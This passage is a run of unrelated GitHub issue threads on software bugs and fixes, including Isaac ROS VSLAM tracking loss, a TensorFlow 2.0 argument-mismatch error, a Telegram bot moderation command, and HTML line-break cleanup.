    at /home/travis/build/artsy/emission/node_modules/danger/distribution/runner/runners/inline.js:7:71
    at Promise (<anonymous>)
    at __awaiter (/home/travis/build/artsy/emission/node_modules/danger/distribution/runner/runners/inline.js:3:12)

Dangerfile
69|
70| ${testFilesThatDontExist.map(f => `- \`${f}\``).join("\n")}
71|
72| If these files are supposed to not exist, please update your PR body to include "Skip New Tests".`
73|   callout(output)
------------^
74| }
75|
76| // A component should have a corresponding story reference, so that we're consistent
77| // with how the web create their components

  Generated by :no_entry_sign: dangerJS

Hah, tricky, our TS options tell it to convert to ES6 (which keeps the import) around, which isn't supported in the node we use.

I made a fix for the apollo team, and it fixed our setup too 👍


VSLAM got poor performance tracker is lost

Hi I'm using the VSLAM as a state estimator in nvblox
with D435i as camera, x86 with nvidia GPU(Ubuntu 20.04.5LTS, ROS2 foxy)
and using realsense vslam examples in launch folder of VSLAM and
https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_nvblox/blob/main/docs/tutorial-nvblox-vslam-realsense.md
but it seems after DP2.0 release update, the VSLAM always show "tracker is lost"

there are very few feature points, but as I use VSLAM release DP1.2, there are many feature point output in rviz
I've followed the trouble shooting suggestions:
Fast motion causing the motion blur in the frames.
Low-lighting conditions.
The wrong camerainfo is being published.

my stereo input is 60fps, and I use realsense D435i and splitted the camera image so there are no light dots in it
As to the camera info, I'm not sure what is the "right" camera info, what I only knew is the camera info can be seen via rostopic echo.
What I want to ask is that is there any difference for DP2.0 to DP1.2 which would affect the performance?
and is there any ways to tune the VSLAM aside from the trouble shooting? Or for the elbrus VSLAM, can I tune configurations such as feature point number like ORBSLAM3?
And is that involving D435’s IMU worth a try?
Thanks.

same problem

Could you please tell us a little more about your setup? You have mentioned running with ROS2 Foxy but DP1.0 onwards only supports Humble. You should be getting two camerainfo topics from the RealSense camera for each of the imagers respectively that should be remapped to appropriate topics in Isaac ROS VSLAM. As for performance, there should be no difference between DP2.0 and DP1.1 releases. Could you tell us more about your evaluation method(s)?

Could you please tell us a little more about your setup? You have mentioned running with ROS2 Foxy but DP1.0 onwards only supports Humble. You should be getting two camerainfo topics from the RealSense camera for each of the imagers respectively that should be remapped to appropriate topics in Isaac ROS VSLAM. As for performance, there should be no difference between DP2.0 and DP1.1 releases. Could you tell us more about your evaluation method(s)?

Hi @swapnesh-wani-nvidia , thanks for the reply
I test this function with the default launch files "isaac_ros_visual_slam_realsense.launch.py", here is the launch files with camera node configuration:
import launch
from launch_ros.actions import ComposableNodeContainer, Node
from launch_ros.descriptions import ComposableNode
def generate_launch_description():
"""Launch file which brings up visual slam node configured for RealSense."""
realsense_camera_node = Node(
name='camera',
namespace='camera',
package='realsense2_camera',
executable='realsense2_camera_node',
parameters=[{
'infra_height': 360,
'infra_width': 640,
'enable_color': False,
'enable_depth': False,
#when first launch, the camera has IR dots, so I added depth_moudule emitter disabled, and successfully turned the IR emitter off, and, If the emitter are on, the "tracker is lost" warning is few, but the performance is even bad, If the emitter are off, the warning keeps popping and performance are equallly bad.
'stereo_module.emitter_enabled': False,
'depth_module.emitter_enabled': 0,
            'infra_fps': 90.0
    }]
)

visual_slam_node = ComposableNode(
    name='visual_slam_node',
    package='isaac_ros_visual_slam',
    plugin='isaac_ros::visual_slam::VisualSlamNode',
    parameters=[{
                'enable_rectified_pose': True,
                'denoise_input_images': True,
                'rectified_images': False,
                'enable_debug_mode': False,
                'debug_dump_path': '/tmp/elbrus',
                'enable_slam_visualization': True,
                'enable_landmarks_view': True,
                'enable_observations_view': True,
                'map_frame': 'map',
                'odom_frame': 'odom',
                'base_frame': 'camera_link',
                'input_left_camera_frame': 'camera_infra1_frame',
                'input_right_camera_frame': 'camera_infra2_frame'
                }],
    remappings=[('stereo_camera/left/image', '/camera/infra1/image_rect_raw'),
                ('stereo_camera/left/camera_info', '/camera/infra1/camera_info'),
                ('stereo_camera/right/image', '/camera/infra2/image_rect_raw'),
                ('stereo_camera/right/camera_info', '/camera/infra2/camera_info')]
)

#/camera/realsense_splitter_node/output/infra_1

visual_slam_launch_container = ComposableNodeContainer(
    name='visual_slam_launch_container',
    namespace='',
    package='rclcpp_components',
    executable='component_container',
    composable_node_descriptions=[
        visual_slam_node
    ],
    output='screen'
)

return launch.LaunchDescription([
visual_slam_launch_container,
realsense_camera_node
])

And this is one of the header of the /camera/infra1/camera_info, I don't know if it is right or wrong but I assume the info are subcribed by VSLAM node.
header:
stamp:
sec:<PHONE_NUMBER>
nanosec: 868972032
frame_id: camera_infra1_optical_frame
height: 480
width: 848
distortion_model: plumb_bob
d:

0.0
0.0
0.0
0.0
0.0
k:
423.5382995605469
0.0
422.2384948730469
0.0
423.5382995605469
238.14329528808594
0.0
0.0
1.0
r:
1.0
0.0
0.0
0.0
1.0
0.0
0.0
0.0
1.0
p:
423.5382995605469
0.0
422.2384948730469
0.0
0.0
423.5382995605469
238.14329528808594
0.0
0.0
0.0
1.0
0.0
binning_x: 0
binning_y: 0
roi:
x_offset: 0
y_offset: 0
height: 0
width: 0
do_rectify: false

By the end, I noticed that the IR cam maybe bad in the exposures, and resolution are low(360p), are you use this VSLAM in realsense in this same way? For the evaluation, I supposed that the VSLAM are not work normally in the human sense(got mant drift and the pose don't follow my actual movement) , so I think some problem has been made otherwise such error would not be come up.

Again, thanks for your reply, and any advices are welcome.

same problem
I reinstalled OS using sdk Manager to jetson agx orin
and installed dp2 isaac_ros_visual_slam, dp2 isaac_ros_nvblox
I tested this function with the default launch files "nvblox_vslam_realsense.launch.py" using d435

I have the same issue. Although i don't know what to expect since i haven't used other versions of isaac ros.

A snappy response from the realsense-ros team confirmed my suspicion: https://github.com/IntelRealSense/realsense-ros/issues/2520#issuecomment-1293560464
I have changed the realsense example launch file configuring the realsense parameters and submitted a PR #57
The change didn't have a noticeable effect on the performance though, sadly.

We looked into this issue and looks like the interaction between realsense2_camera package and tf2 package is causing the issue. As a workaround, do not pass these parameters in the isaac_ros_visual_slam_realsense.launch.py launch file -
input_left_camera_frame and input_right_camera_frame. In this mode, camera info will be used to infer the transformation between left and right imagers.
Additionally, there have been a few changes in the parameters of the realsense node. Use 'depth_module.emitter_enabled': 0 to disable the emitter and 'depth_module.profile': 'widthxheightxfps' to set the resolution and fps.

As a workaround, do not pass these parameters in the isaac_ros_visual_slam_realsense.launch.py launch file - input_left_camera_frame and input_right_camera_frame.
@swapnesh-wani-nvidia
This fixed all my problems, thanks a bunch

Thanks @swapnesh-wani-nvidia ! Your suggestions solved the problem. However, With fast motion the estimation can diverge. Would using the D435i IMU improve the estimation and make it more robust?

This hotfix updated the launch file in this repo as per the discussions above.


revise use of BRs in the codebase

See https://stackoverflow.com/a/1726079 and https://blog.hubspot.com/website/html-line-break

While modifying the BR tags, I've come across a question.
This is a photo with the BR tags removed(revise).

And this is a photo including the BR tags(origin).

Although I've removed the BR tags, the spacing seems sufficient. Do we need to add extra margin in place of the removed BR tags? If necessary, I can add margin along with removing the BR tags.

Hey, the main goal of this issue is to remove the misuse of BRs (see both links in the desription) and replace it with the appropriate element (which might be just adding padding), therefore the page should look the same as after finishing this ticket.
If you'd like to update the padding visually, we can discuss that in another issue.

Also, I think there are more (probably misused) BRs all over different components.

Certainly, I have noted your request Thank you

Noticed that we have 2 BRs in src/app/home/home.component.html in lines 547, 548, should we address these as well @Jeongseulho?

Can you please take over here @Kledis98, just a few BRs to be addressed I think.

Can you please double check if there are any other such BRs, and close this issue if not? @Kledis98

Checked it and there are not any other BRs. I will close the issue.


Add a note about users running the integration install

The command to install an extra wheel needs to be run as dd-agent on linux,
let's add a note about it.

👋 I'm actually working on a PR right now that addresses this item (as well as a few others) in this README. If it's OK with everybody, I would suggest closing this for now and we can review my PR in a few moments. 😄

Yep no problem!


blur event fires activated() instead of deactivated()

In both

https://github.com/bergie/create/blob/master/src/editingWidgets/jquery.Midgard.midgardEditableEditorCKEditor.js#L32 and
https://github.com/bergie/create/blob/master/src/editingWidgets/jquery.Midgard.midgardEditableEditorTinyMCE.js#L35

...the blur event fires activated() while deactivated() would be exptected; this is also what the documentation seems to state: http://createjs.org/guide/#editable
Is this actually wrong?

This can be closed @bergie since it's resolved with #230.


upgrade archaius

Coverage increased (+0.09%) to 64.779% when pulling d63bcd09f96639e6fd68c7b48ad78775165c2e75 on tianxiaoliang:master into 71d79081585ab9192f5ac33efcebe1b58cec6ac5 on go-chassis:master.


disable per-detector absorption goal

Do not merge this if per-detector goals are meant to be in the next relelase

superseded by #253


wip: datetime expressions: month week day hour minute #1

Sorry for that, I wanted to check the CI and open the PR in my fork 😅..
Will re-submit after progressing on this

Those are very specific expressions and we would have to add many of them to cover all use cases. I am not for implementing them.
However, a DateFormat expression [1] that will use PHP's date placeholders and transform them to the database ones would be appreciated a lot. But I expect this to be a lot of effort.
[1] https://github.com/tpetry/laravel-query-expressions/discussions/7#discussioncomment-6176585

@tpetry Thank you for the early feedback!
I see, and I agree!
What prompted this month, week, day, hour, minute approach was: I wanted to build a line chart, similar to the one generated by Laravel Nova's "Metrics" cards. (They have a Laravel\Nova\Metrics\TrendDateExpressionFactory class, which takes a "unit" string parameter (month, ..etc)). I looked into other options and found this great package, thank you so much for it 🙏
Going forward, does the following represent an example of how it might be used?
User::query()
->select(
	new Alias(new DateFormat('created_at', format: 'Y-m-d'), 'created_at_day')
)

If that looks right, I think there are two major parts to be done here:

the mapping part "php literal format (this php.net table) -> database driver format "
the internal concatenation part, because the map will only map a one-character part of the format string.

Also, I expect some uncommon formats not to be supported, would that be an issue?.. as a quick example, I couldn't find anything related to leap years in MySQL without a custom function for that:

Also, I expect some uncommon formats not to be supported, would that be an issue?

absolutely no problem. As this needs to support all four (!) databases only the common features can be used.


⚠ Bofrost.fr has degraded performance

In cfc343f, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 2254 ms

Resolved: Bofrost.fr performance has improved in 90dd68e.


New CA needed for IDS-testbed

Waiting for ATOS CA implementation.

The CA in the repo should provide an OCSP to enable revocation of issued certificates and checking the revocation status.

The certificates generated by the actual IDS-testbed CA do not have Subject Alternative Name to determine DNS and IP-address.
Currently, the DNS is handled by custom TLS certificates.

We should take care that the CA tool fulfills at least the following requirements:

capability to issue certificates using the cryptographic mechanisms and other cert features specified in the CA specification
possibility to offer an OCSP server which issues OCSP responses on request
Dependencies should be kept to a minimum - no disproportionate requirements concerning the environment or additional tooling necessary for executing the tools

suggestions for tooling from the SubWG meeting:

CFSSL: https://github.com/cloudflare/cfssl -> should be able to fulfill the requirements above, in the Repo https://github.com/Fraunhofer-AISEC/ids-pcp is an example how the IDS PKI could be configured/set up
PKI-Engine: https://developer.hashicorp.com/vault/tutorials/secrets-management/pki-engine -> Carlos will ask his colleagues to support with the assessment of this tool

SQS has performed a Demo of the Atos Web Portal CA during the Sub-working Group bi-weekly meeting.

For version 1.2.0 of the IDS-testbed it has been included a Certificate Authority that uses CFSSL and provides a OCSP server for requesting the status of the generated certificates (e.g. revoked).
Documentation for this CA implementation is detailed here.
Therefore, I close this issue.


10.0 pos multi session lint

LINT for pos_ms and pos_longpolling

I dont know why did the "[LINT] flake8" get there

make PR to it-projects-llc:10.0-pos_multi_session_sync


kick bot and user who added it

hello, i want to check group added users, anybody added a bot kick bot and the member who added it. there is no command to do this, please help me if you can.

Newchatmembers command.
You make a check if added user is not account and then kick it.

what about who added it?

The person who added will be carried with the update object ... It will be in from field.

it is not a long programm could you please give me an example of all these wanted? please

 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Longman\TelegramBot\Commands\SystemCommands;

use Longman\TelegramBot\Commands\SystemCommand;
use Longman\TelegramBot\Request;

/**
 * New chat member command
 */
class NewchatmembersCommand extends SystemCommand
{
    /**
     * @var string
     */
    protected $name = 'newchatmembers';

    /**
     * @var string
     */
    protected $description = 'New Chat Members';

    /**
     * @var string
     */
    protected $version = '1.2.0';

    /**
     * Command execute method
     *
     * @return \Longman\TelegramBot\Entities\ServerResponse
     * @throws \Longman\TelegramBot\Exception\TelegramException
     */
    public function execute()
    {
        $message = $this->getMessage();

        $chat_id = $message->getChat()->getId();
        $members = $message->getNewChatMembers();
        $text = 'سلام، من از گروهتون محافظت می کنم!';

        if (!$message->botAddedInChat()) {
            $member_names = [];
            foreach ($members as $member) {
                $member_names[] = $member->tryMention();
            }
            $text = 'به گروه ما خوش آمدید ' . implode(', ', $member_names) . '!';
        }else{

            foreach ($members as $member){
                if($member->getIsBot()){
                    $user_id=$member->getId();
                    $data = [
                        'chat_id' => $chat_id,
                        'text'    => $user_id,
                    ];

                    Request::sendMessage($data);
                    $data = [
                        'chat_id' => $chat_id,
                        'user_id' => $user_id,
                    ];
                    Request::execute('kickChatMember',$data);
                }
            }
        }

        $data = [
            'chat_id' => $chat_id,
            'text'    => $text,
        ];

        return Request::sendMessage($data);
    }
}

why is not working?

i wrote it. if anybody want these codes are here:

 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Longman\TelegramBot\Commands\SystemCommands;

use Longman\TelegramBot\Commands\SystemCommand;
use Longman\TelegramBot\Request;

/**
 * New chat member command
 */
class NewchatmembersCommand extends SystemCommand
{
    /**
     * @var string
     */
    protected $name = 'newchatmembers';

    /**
     * @var string
     */
    protected $description = 'New Chat Members';

    /**
     * @var string
     */
    protected $version = '1.2.0';

    /**
     * Command execute method
     *
     * @return \Longman\TelegramBot\Entities\ServerResponse
     * @throws \Longman\TelegramBot\Exception\TelegramException
     */
    public function execute()
    {
        $message = $this->getMessage();

        $chat_id = $message->getChat()->getId();
        $members = $message->getNewChatMembers();
        $text = 'سلام، من از گروهتون محافظت می کنم!';

        if (!$message->botAddedInChat()) {
            $member_names = [];
            foreach ($members as $member) {
                $member_names[] = $member->tryMention();
                if ($member->getIsBot()){
                    $user_id=$member->getId();
                    $data = [
                        'chat_id' => $chat_id,
                        'user_id' => $user_id,
                    ];
                    Request::execute('kickChatMember',$data);
                    $whoadded=$this->update->getMessage()->getFrom()->getId();
                    $data = [
                        'chat_id' => $chat_id,
                        'user_id' => $whoadded,
                    ];
                    return Request::execute('kickChatMember',$data);
                }
            }
            $text = 'به گروه ما خوش آمدید ' . implode(', ', $member_names) . '!';
        }

        $data = [
            'chat_id' => $chat_id,
            'text'    => $text,
        ];

        return Request::sendMessage($data);
    }
}

let me try your suggestion, its more orgenazied

@noplanman thank you so much it works as a clock

@sadeghesfahani You're welcome, i'm glad it works for you.
(I have also updated your comment above and cleaned up the PHP, to make it readable)


Update git URL for icingaweb2 installation

Closing in favor of https://github.com/Icinga/chef-icinga2/pull/241


tf2-preview: ValueError: Arguments and signature arguments do not match: 4 3

Code to reproduce the error (copied from https://tfhub.dev/google/tf2-preview/nnlm-en-dim128/1):
import tensorflow_hub as hub

embed = hub.load("https://tfhub.dev/google/tf2-preview/nnlm-en-dim128/1")
embeddings = embed(["cat is on the mat", "dog is in the fog"])

Re-run the last line again, or wrap the list input with tf.constant, seems to solve the issue.
I'm using Alpha preview of TF 2.0.

Problem confirmed.

This has been fixed in March 5th in https://github.com/tensorflow/tensorflow/commit/46ebf0267ad8af92bc7a7331b96ec742e00d296f#diff-fd05cc53efd6ecee89775b1fc1f0a4bb
The fix will be in the next 2.0 release, but for now you have to install from nightly builds.

E.g.
!pip install tf-nightly-2.0-preview

Instead of the "pip install tensorflow==2.0.0a0"

Thanks for the response. So for the current version, are the results obtained from wrapping the input with tf.constant workaround correct? I'm totally fine with an extra line of code if the results are correct.

Yes, I think passing a tf.constant will work just fine

I this actually fixed? I am hitting same errors but with 100 and 102.

    396       raise ValueError(
    397           "Arguments and signature arguments do not match: %s %s " %
--> 398           (len(args), len(list(self.signature.input_arg))))
    399
    400     function_call_options = ctx.function_call_options

ValueError: Arguments and signature arguments do not match: 100 102

Am on latest nightly 2.0.

Hello, I am having the same issue using tensorflow 2.0.0-alpha0 , getting the following error from a jupyter notebook:

ValueError                                Traceback (most recent call last)
 in
2 tr = tf.constant(examples)
3 BATCH_SIZE = 32
----> 4 model.fit(tr, epochs=5, steps_per_epoch=math.ceil(len(train)/BATCH_SIZE))
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\keras\engine\training.py in fit(self, x, y, batch_size, epochs, verbose, callbacks, validation_split, validation_data, shuffle, class_weight, sample_weight, initial_epoch, steps_per_epoch, validation_steps, validation_freq, max_queue_size, workers, use_multiprocessing, **kwargs)
871           validation_steps=validation_steps,
872           validation_freq=validation_freq,
--> 873           steps_name='steps_per_epoch')
874
875   def evaluate(self,
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\keras\engine\training_arrays.py in model_iteration(model, inputs, targets, sample_weights, batch_size, epochs, verbose, callbacks, val_inputs, val_targets, val_sample_weights, shuffle, initial_epoch, steps_per_epoch, validation_steps, validation_freq, mode, validation_in_fit, prepared_feed_values_from_dataset, steps_name, **kwargs)
261           # ins can be callable in DistributionStrategy + eager case.
262           actual_inputs = ins() if callable(ins) else ins
--> 263           batch_outs = f(actual_inputs)
264         except errors.OutOfRangeError:
265           if is_dataset:
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\keras\backend.py in call(self, inputs)
3215         value = math_ops.cast(value, tensor.dtype)
3216       converted_inputs.append(value)
-> 3217     outputs = self._graph_fn(*converted_inputs)
3218     return nest.pack_sequence_as(self._outputs_structure,
3219                                  [x.numpy() for x in outputs])
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\eager\function.py in call(self, *args, **kwargs)
556       raise TypeError("Keyword arguments {} unknown. Expected {}.".format(
557           list(kwargs.keys()), list(self._arg_keywords)))
--> 558     return self._call_flat(args)
559
560   def _filtered_call(self, args, kwargs):
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\eager\function.py in _call_flat(self, args)
625     # Only need to override the gradient in graph mode and when we have outputs.
626     if context.executing_eagerly() or not self.outputs:
--> 627       outputs = self._inference_function.call(ctx, args)
628     else:
629       self._register_gradient()
~\Anaconda3\envs\thesis_tensorflow\lib\site-packages\tensorflow\python\eager\function.py in call(self, ctx, args)
395       raise ValueError(
396           "Arguments and signature arguments do not match: %s %s " %
--> 397           (len(args), len(list(self.signature.input_arg))))
398
399     function_call_options = ctx.get_function_call_options()
ValueError: Arguments and signature arguments do not match: 27 29

I'm still seeing this issue with the latest version.. Any updates?

This is no longer an issue with the nightly build:
pip install tf-nightly-2.0-preview
It won't start working in alpha until we get a new release.

@vbardiovskyg  I'm having same issue with tensorflow-gpu: '2.1.0'. Any solutions ?
ValueError: Arguments and signature arguments do not match. got: 37, expected: 39

Hi Ahmed, sorry but I could not reproduce this. I tried tensorflow-gpu==2.1.0 and tensorflow-gpu==2.2.0 and tensorflow==2.2.0.
Are you sure you are importing the correct tensorflow? A typical issue is that there are both tensorflow and tensorflow-gpu installed, and when doing import tensorflow, it is not clear which got imported.

@vbardiovskyg thanks for replying. I only use: tensorflow-gpu: 2.1.0 and keras 2.3.1 for building MLP model. (using import keras instead of import tensorflow.keras )
This is what I'm trying to do:
@claeszacho thanks for your suggestion but to me the problem doesn't seem to be related to X and y shapes. I re-run as following and still have the issue:
model.fit_generator(generator=batch_generator(X_train, y_train, divide_on, True), epochs=1,
                                steps_per_epoch=np_steps,
                                verbose=1)

def batch_generator(X, y, batch_size, shuffle):
    number_of_batches = round(X.shape[0] / batch_size)
    print(f'y.shape: {X.shape}')
    print(f'X.shape[0]: {X.shape[0]}')
    print(f'batch_size: {batch_size}')
    print(f'number_of_batches: {number_of_batches}')
    counter = 0
    sample_index = np.arange(X.shape[0])
    if shuffle:
        np.random.shuffle(sample_index)
    while True:
        batch_index = sample_index[batch_size * counter:batch_size * (counter + 1)]
        print(f'counter: {counter}')
        print(f'batch_index: {batch_index}')
        X_batch = X[batch_index, :].toarray()
        y_batch = y[batch_index]
        counter += 1
        print(f'yielded X_batch shape: {X_batch.shape} where counter: {counter}')
        print(f'yielded y_batch shape: {y_batch.shape} where counter: {counter}')
        yield X_batch, y_batch
        if counter == number_of_batches:
            if shuffle:
                np.random.shuffle(sample_index)
            counter = 0

While the result is:
shape of x_train: (1407577, 207)
shape of x_valid: (74084, 207)
Epoch 1/1
y.shape: (1407577, 207)
X.shape[0]: 1407577
batch_size: 64
number_of_batches: 21993
counter: 0
batch_index: [  55578  885043<PHONE_NUMBER>983  596906  990879  150577<PHONE_NUMBER>648
  657662   22295<PHONE_NUMBER>422 1094582 1323311 1386819 1349709  361209
 1314015<PHONE_NUMBER>984  179845  464715  474078<PHONE_NUMBER>602 1173681
<PHONE_NUMBER>526   27510<PHONE_NUMBER>263  678677  567365  149537  936813
  202732  727397   21943  563727  923775  661254  465769  383644   99391
<PHONE_NUMBER>295   23548  511531  661704  590537  855781<PHONE_NUMBER>951
  690456  414501  998788   97076  334435   57625  822775  125039  857771
 1103476]
yielded X_batch shape: (64, 207) where counter: 1
yielded y_batch shape: (64, 1) where counter: 1
counter: 1
batch_index: [ 784817  248893<PHONE_NUMBER>253 1400872  522094<PHONE_NUMBER>737  844047
<PHONE_NUMBER>761  768817  728090  799502<PHONE_NUMBER>634  365863  997856
  752368  558098  732175<PHONE_NUMBER>726<PHONE_NUMBER>847 1032336  413975
  366115  550960<PHONE_NUMBER>407  237934<PHONE_NUMBER>910  113013  163694
  437774<PHONE_NUMBER>205  335589<PHONE_NUMBER>559<PHONE_NUMBER>905  396354
 1120329<PHONE_NUMBER>556  763024  351094  445536<PHONE_NUMBER>405  239830
  869035  728995  288278  238975<PHONE_NUMBER>507  131834   24448  233283
  623641]
Traceback (most recent call last):
  File "mlp.py", line 443, in <module>
yielded X_batch shape: (64, 207) where counter: 2
yielded y_batch shape: (64, 1) where counter: 2
    main()
  File "mlp.py", line 371, in main
    model1 = run_model1(X_train, y_train, X_valid, y_valid)
  File "mlp.py", line 255, in run_model1
    verbose=1)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/legacy/interfaces.py", line 91, in wrapper
    return func(*args, **kwargs)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training.py", line 1732, in fit_generator
    initial_epoch=initial_epoch)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training_generator.py", line 220, in fit_generator
    reset_metrics=False)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training.py", line 1514, in train_on_batch
    outputs = self.train_function(ins)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/keras/backend.py", line 3727, in __call__
    outputs = self._graph_fn(*converted_inputs)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1551, in __call__
    return self._call_impl(args, kwargs)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1591, in _call_impl
    return self._call_flat(args, self.captured_inputs, cancellation_manager)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1692, in _call_flat
    ctx, args, cancellation_manager=cancellation_manager))
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 527, in call
    (len(args), len(list(self.signature.input_arg))))
ValueError: Arguments and signature arguments do not match. got: 37, expected: 39

It fails in the second iteration of the loop.

@vbardiovskyg thanks for replying. I only use: tensorflow-gpu: 2.1.0 and keras 2.3.1 for building MLP model. (using import keras instead of import tensorflow.keras )
This is what I'm trying to do:
model.fit_generator(generator=batch_generator(X_train, y_train, divide_on, True), epochs=1,
                                steps_per_epoch=np_steps,
                                verbose=1)

def batch_generator(X, y, batch_size, shuffle):
    number_of_batches = round(X.shape[0] / batch_size)
    print(f'y.shape: {X.shape}')
    print(f'X.shape[0]: {X.shape[0]}')
    print(f'batch_size: {batch_size}')
    print(f'number_of_batches: {number_of_batches}')
    counter = 0
    sample_index = np.arange(X.shape[0])
    if shuffle:
        np.random.shuffle(sample_index)
    while True:
        batch_index = sample_index[batch_size * counter:batch_size * (counter + 1)]
        print(f'counter: {counter}')
        print(f'batch_index: {batch_index}')
        X_batch = X[batch_index, :].toarray()
        y_batch = y[batch_index]
        counter += 1
        print(f'yielded X_batch shape: {X_batch.shape} where counter: {counter}')
        print(f'yielded y_batch shape: {y_batch.shape} where counter: {counter}')
        yield X_batch, y_batch
        if counter == number_of_batches:
            if shuffle:
                np.random.shuffle(sample_index)
            counter = 0

While the result is:
shape of x_train: (1407577, 207)
shape of x_valid: (74084, 207)
Epoch 1/1
y.shape: (1407577, 207)
X.shape[0]: 1407577
batch_size: 64
number_of_batches: 21993
counter: 0
batch_index: [  55578  885043<PHONE_NUMBER>983  596906  990879  150577<PHONE_NUMBER>648
  657662   22295<PHONE_NUMBER>422 1094582 1323311 1386819 1349709  361209
 1314015<PHONE_NUMBER>984  179845  464715  474078<PHONE_NUMBER>602 1173681
<PHONE_NUMBER>526   27510<PHONE_NUMBER>263  678677  567365  149537  936813
  202732  727397   21943  563727  923775  661254  465769  383644   99391
<PHONE_NUMBER>295   23548  511531  661704  590537  855781<PHONE_NUMBER>951
  690456  414501  998788   97076  334435   57625  822775  125039  857771
 1103476]
yielded X_batch shape: (64, 207) where counter: 1
yielded y_batch shape: (64, 1) where counter: 1
counter: 1
batch_index: [ 784817  248893<PHONE_NUMBER>253 1400872  522094<PHONE_NUMBER>737  844047
<PHONE_NUMBER>761  768817  728090  799502<PHONE_NUMBER>634  365863  997856
  752368  558098  732175<PHONE_NUMBER>726<PHONE_NUMBER>847 1032336  413975
  366115  550960<PHONE_NUMBER>407  237934<PHONE_NUMBER>910  113013  163694
  437774<PHONE_NUMBER>205  335589<PHONE_NUMBER>559<PHONE_NUMBER>905  396354
 1120329<PHONE_NUMBER>556  763024  351094  445536<PHONE_NUMBER>405  239830
  869035  728995  288278  238975<PHONE_NUMBER>507  131834   24448  233283
  623641]
Traceback (most recent call last):
  File "mlp.py", line 443, in <module>
yielded X_batch shape: (64, 207) where counter: 2
yielded y_batch shape: (64, 1) where counter: 2
    main()
  File "mlp.py", line 371, in main
    model1 = run_model1(X_train, y_train, X_valid, y_valid)
  File "mlp.py", line 255, in run_model1
    verbose=1)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/legacy/interfaces.py", line 91, in wrapper
    return func(*args, **kwargs)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training.py", line 1732, in fit_generator
    initial_epoch=initial_epoch)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training_generator.py", line 220, in fit_generator
    reset_metrics=False)
  File "/path_to_project/venv/lib/python3.6/site-packages/keras/engine/training.py", line 1514, in train_on_batch
    outputs = self.train_function(ins)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/keras/backend.py", line 3727, in __call__
    outputs = self._graph_fn(*converted_inputs)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1551, in __call__
    return self._call_impl(args, kwargs)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1591, in _call_impl
    return self._call_flat(args, self.captured_inputs, cancellation_manager)
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 1692, in _call_flat
    ctx, args, cancellation_manager=cancellation_manager))
  File "/path_to_project/venv/lib/python3.6/site-packages/tensorflow_core/python/eager/function.py", line 527, in call
    (len(args), len(list(self.signature.input_arg))))
ValueError: Arguments and signature arguments do not match. got: 37, expected: 39

It fails in the second iteration of the loop.

The problem solved after replacing import keras by import tensorflow.keras and making the necessary modifications


Bad link for format directives in the sprintf page

Problem or new feature
Clicking the "format directives" link in the sprintf page (shown in screenshot) doesn't take you anywhere. Instead it simply leads to https://docs.raku.org/routine/sprintf.html#Directives, which leads nowhere within that page.

Suggestions
I remember being a section for format directives so the link to that if it still exists.

This is an issue that will be fixed in a doc-website patch soon. The problem arose because composite webpages, such as sprintf, were compiled from various primary files, but the text was stopped at the first . Now more text is added.
If you click on the 'original context' link under sprintf for Cool, you will find the directives.

Thanks for the heads up, @finanalyst! I didn't find a similar issue to this one and that encompasses your comment so I'll leave it up.

This seems to be fixed on the live site. @uzluisf please check and if you can confirm, this issue can be closed.

Belatedly fixed, thanks for the report.


Bittrex json format

Bittrex return this json string. How decode param G? Its not gzip string
{"C":"d-88903F9C-uIVg,2|Cv,81594","G":"f8N0wWnjI7HYfemJI8e0xCbSANWfxnpNCIT4iAHhWDhZjpcgeesgN6r5uUtMrGXJhuLnOyMI52yEsxDhlxcpAJc6+oPWpOx4b7k2EWza50QZM5sNKXQHzanncDgQPzJQc7yWAg==","M":[]}

More details please, what end point, etc.?

Firstly i send
.Send("{\"H\":\"c2\",\"M\":\"QueryExchangeState\",\"A\":[\"USDT-BTC\"],\"I\":2}");
.Send("{\"H\":\"c2\",\"M\":\"SubscribeToExchangeDeltas\",\"A\":[\"USDT-BTC\"],\"I\":1}");

After i receive json from socket. All works, but sometimes bittrex return non-gzipped data, ex:
{"C":"d-24015234-QtKZ,2|Cp,2F6CF","G":"LZuWgEqIuFTqnxXJlAFNIDR98unn58WPVjcbmli6eW+ih/aLkLFJJLvagY23nHQo/VmPjARX1nVLQ4LkomKMsx9IBRWwqGTexcXar7nQYrDkiUO84q5E2+aLGAZlHW7NqCepKw==","M":[]}
{"R":true,"I":"1"}

Thanks for filing this bug. If you send a pull request with the solution, we'll be happy to merge it. If you don't know how, you can also post the updated code here.

Closing old issues, someone can submit pr if this is still an issue


Bug with pull request helper and Github Entreprise

Hello,
Better than words, here's a screenshot of the problem occuring on a Github Entreprise server resulting in breaking the header:

The difference with Public Github is that there is no text "Entreprise" in the header.

